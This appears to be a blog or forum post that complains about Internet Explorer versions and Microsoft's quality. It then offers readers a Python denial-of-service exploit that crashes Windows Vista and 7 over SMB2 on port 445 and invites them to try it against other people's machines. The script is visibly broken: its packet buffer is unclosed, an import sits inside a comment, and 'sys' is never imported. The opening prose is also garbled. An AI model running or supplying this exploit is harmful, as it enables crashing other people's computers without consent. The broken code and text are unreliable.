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Why I could never upgrading a complete operating system convert my IE6 to IE7 or 8? You had to install them independently.
That only speaks of a poor strategy and product, a complete shame.
Oh, and at work we have providers who developed extranets using Microsoft technologies that worked in IE 7, but then came IE8 and they are incompatible. Microsoft is incompatible with themselves.
I only lament that because of my work I have to support the Explorer navigator, the worst experience.
So, is Windows 7 defect free?
Let's see, just try this script in the party to check if Windows 7 is a good new product, the parameter is the ip of the happy windows 7:
(adapted from http://seclists.org/fulldisclosure/2009/Sep/0039.html )
# When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field it dies with a
# PAGE_FAULT_IN_NONPAGED_AREA from socket import socket
from time import sleep
ip = sys.argv
host = ip, 445
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: -->
sock = socket.socket()
If the script works, vista dies and it means Microsoft has again released a brand new product with an important bug.
Please, it's time to ask Microsoft to release secure products. Believe it or not, I plan to use Windows 7 at some point and want it to be a good O.S.
PS. The script was tested on MacOS 10.6, but should work on Linux too.
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